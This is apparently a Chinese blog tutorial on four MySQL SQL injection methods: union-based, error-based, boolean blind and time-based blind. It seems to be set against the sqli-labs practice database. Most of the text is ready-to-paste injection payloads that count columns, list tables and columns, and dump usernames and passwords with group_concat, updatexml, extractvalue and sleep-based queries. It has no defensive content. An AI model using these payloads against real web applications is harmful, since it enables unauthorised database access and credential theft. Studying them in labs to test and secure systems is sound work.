sql注入-mysql注入四种基本手法

union类型的sql注入(联合查询注入)
条件:
页面必须有显示位
实际操作
测出页面异常
‘ “ ) ‘) “) ‘)) “)) `
判断列数:
1’ order by 3-- -
不存在返回错误
判断显示位:
-1’ union select 1,2,3-- -
查看数据库:
-1’ union select user(),database(),version()-- -
查看数据库有哪些表 (爆数据表)table_schema='数据库名’
-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3-- -
查看对应表有哪些列 (爆字段)table_name='指定表名’
-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3-- -
查看账号密码信息(数据拖库) username,password指定列,security.users指定库表
-1’ union select 1,(select group_concat(concat_ws(0x7e,username,password))from security.users),3-- -
数据脱库效果
在这里插入图片描述
基于错误显示的sql注入(报错注入)
条件:
必须有错误回显
利用的函数
1.updatexml(arg1,arg2,arg3)
改变文档中符合条件的节点的值,arg1位xml文档对象的名称,arg2为xpath格式的字符串,arg3,String格式,替换查找到的符合条件的数据。
语句:select updatexml(1,concat(0x7e,(select user()),0x7e),1)
返回结果:XPATH syntax error: 'root@localhost’
2.extractvalue(arg1,arg2)
从目标XML中返回包含所查询值的字符串,arg1为是String格式,为XML文档对象的名称。arg2为Xpath格式的字符串。
语句:select extractvalue(1,concat(0x7e,(select user()),0x7e))
返回结果:XPATH syntax error: 'root@localhost’
3.floor(arg1)
函数只返回arg1整数部分,小数部分舍弃。
语句:select 1,(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a),3
返回结果:Duplicate entry ‘root@localhost1’ for key ‘group_key’
4.注意
Extractvalue() updatexml()有32位长度限制
实际操作
查看数据库名字:
updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -
查看数据库有哪些表
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -
查看表里面有哪些列名
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=“emails” limit 0,1),0x7e),1)-- -
查看表里面的数据
and updatexml(1,concat(0x7e,(select substring(group_concat(id) ,1,20)from emails),0x7e),1)-- -

数据脱库效果
在这里插入图片描述
基于布尔类型的sql注入(布尔注入)
条件:
没有返回值和报错信息,根据当页面正常和不正常执行sql语句效果不同判断sql语句是否成功
实际操作
先得到数据库名的长度
and (length(database()))>5
and (length(database()))=4
改变n的值依次获取数据库名的字符
and (ascii(substr(database(),n,1)))>100
获取数据库表名(先获取表名数量,再获取表名长度)
and (select count(*) from information_schema.tables where table_schema=database())>5
获取表名数量
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
获取表名长度
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100
依次通过ascii码获取表名
获取列名(先获取列名个数,再获取列名长度,最后获取列名)
and (ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)))>100
获取数据
and (ascii(substr(( select password from users limit 0,1),1,1)))=68

注入效果

在这里插入图片描述

基于时间的sql注入(延时注入)
条件:
能执行sql语句
利用的函数
1.sleep,benchmark()
通常与条件类函数配合使用
2.sleep(arg1)
arg1中断的时间单位为秒。
语句:select if(1=1, sleep(3), ‘goodbye’)
返回结果:页面延迟3秒显示
3.benchmark(arg1,arg2)
arg1为操作的函数,arg2为操作次数
语句:
select if(1=1, benchmark(5000000,md5(‘abc’)), ‘goodbye’)
返回结果:
页面延迟2秒显示
实际操作
先得到数据库名的长度
and if((length(database()))>5),sleep(5),0)
注:if(1,2,3)1为真执行2,否则执行3
语句里if的第一个参数同布尔型语句,参考布尔型替换即可
and if((length(database())>5),sleep(5),0)

注入效果
在这里插入图片描述

发布了42 篇原创文章 · 获赞 67 · 访问量 5218

猜你喜欢

转载自blog.csdn.net/weixin_42299610/article/details/104675641